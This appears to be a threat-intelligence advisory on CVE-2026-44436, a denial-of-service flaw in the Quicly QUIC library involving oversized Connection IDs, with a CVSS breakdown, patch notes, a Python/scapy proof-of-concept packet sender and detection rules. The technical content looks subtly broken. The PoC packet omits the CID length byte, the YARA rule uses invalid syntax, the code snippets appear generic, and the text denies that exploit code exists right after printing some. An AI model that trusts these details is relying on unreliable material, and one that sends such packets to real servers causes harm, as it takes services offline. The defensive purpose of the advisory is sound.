CVE-2026-44436

Executive Summary

CVE-2026-44436 is a high-severity Denial of Service (DoS) vulnerability in the Quicly library, an IETF QUIC protocol implementation used primarily within the H2O HTTP server. The vulnerability arises from a buffer length mismatch: Quicly’s Connection ID (CID) buffers are limited to 20 bytes (per QUIC version 1 specification), but its packet decoder accepts CIDs up to 255 bytes (per QUIC Invariants). When a QUIC version 1 packet with a CID longer than 20 bytes is processed, the library fails to reject it, leading to connection state corruption and assertion failures. This can be exploited remotely without authentication, causing a denial of service. The patch is available in commit 8b178e6.

Supply Chain & Package Security

Quicly is a C library distributed via GitHub. It is not available on NPM, PyPI, Go, or Ruby registries. The vulnerability affects downstream applications that integrate Quicly without their own CID length enforcement, such as the H2O HTTP server. Users should update to the patched commit or apply the fix manually.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The vulnerability is remotely exploitable with low complexity and no authentication, making it a significant threat to availability.

Deep Dive & Mechanics

The QUIC protocol defines two CID length limits:

• QUIC Invariants: Maximum CID length is 255 bytes.
• QUIC version 1: Maximum CID length is 20 bytes.

Quicly implements QUIC version 1 and allocates CID buffers of 20 bytes. However, to handle unknown QUIC versions, its packet decoder accepts CIDs up to 255 bytes. The library lacks a check to reject QUIC version 1 packets with CIDs longer than 20 bytes. When such a packet is processed, the CID is copied into a 20-byte buffer, causing a buffer overrun. The overflow is contained within the allocated memory chunk but corrupts connection state, leading to assertion failures and denial of service.

The vulnerable code path is in the packet decoding function, where the CID length is not validated against the version-specific limit. The fix in commit 8b178e6 adds a check to reject packets with CIDs exceeding 20 bytes for QUIC version 1.

Vulnerable vs. Patched Code

Vulnerable Code (before 8b178e6):

// In packet decoder, no check for CID length
uint8_t cid[20];
memcpy(cid, packet->cid, cid_length); // cid_length can be up to 255

Patched Code (after 8b178e6):

// In packet decoder, add version-specific check
if (version == QUIC_VERSION_1 && cid_length > 20) {
    return QUIC_ERROR_INVALID_PACKET;
}
uint8_t cid[20];
memcpy(cid, packet->cid, cid_length);

Exploitation & Lab Setup

Red Team

An attacker can craft a QUIC version 1 packet with a Connection ID longer than 20 bytes (e.g., 255 bytes) and send it to a vulnerable Quicly instance. The packet will be accepted by the decoder, causing a buffer overrun and assertion failure, leading to a denial of service.

Proof-of-Concept (Python with scapy):

from scapy.all import *
import struct

# Craft a QUIC version 1 packet with long CID
cid = b"A" * 255  # 255-byte Connection ID
packet = IP(dst="target_ip")/UDP(sport=12345, dport=443)/Raw(load=struct.pack("!B", 0x80) + struct.pack("!I", 1) + cid + b"payload")
send(packet)

Note: No public exploit code is available.

Blue Team

To detect exploitation attempts, monitor for QUIC packets with Connection IDs longer than 20 bytes. Use the following Suricata rule to alert on such packets.

Indicators of Compromise (IOCs)

• Network: QUIC version 1 packets with Connection ID length > 20 bytes.
• Logs: Assertion failures in Quicly logs (e.g., "assertion failed: cid_length <= 20").
• System: High CPU or memory usage due to repeated assertion failures.

Detection Engineering

YARA Rule

rule CVE_2026_44436_Quicly_CID_Overflow {
    meta:
        description = "Detects QUIC version 1 packets with CID length > 20 bytes"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-44436"
    strings:
        $quic_v1 = { 80 ?? ?? ?? 01 }  // QUIC version 1 header
        $long_cid = { [20-FF] }        // CID length > 20 bytes
    condition:
        $quic_v1 and #long_cid > 0
}

Sigma Rule

title: CVE-2026-44436 Quicly CID Overflow Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects QUIC version 1 packets with CID length > 20 bytes
author: Valters IT
date: 2026-01-01
logsource:
    category: network
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 3000001
    condition: selection
falsepositives:
    - None
level: high

Suricata Rule

alert udp any any -> any any (msg:"CVE-2026-44436 Quicly CID Overflow Attempt"; content:"|80|"; offset:0; depth:1; content:"|00 00 00 01|"; distance:0; within:4; content:"|00|"; distance:0; within:1; byte_test:1,>,20,0; sid:3000001; rev:1;)

Remediation & Mitigation

1. Patch: Update Quicly to commit 8b178e6 or later.
2. Workaround: If patching is not possible, implement a network-level filter to drop QUIC version 1 packets with Connection IDs longer than 20 bytes.
3. Monitoring: Deploy the provided Suricata rule to detect exploitation attempts.
4. Validation: Ensure downstream applications (e.g., H2O) enforce CID length limits.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert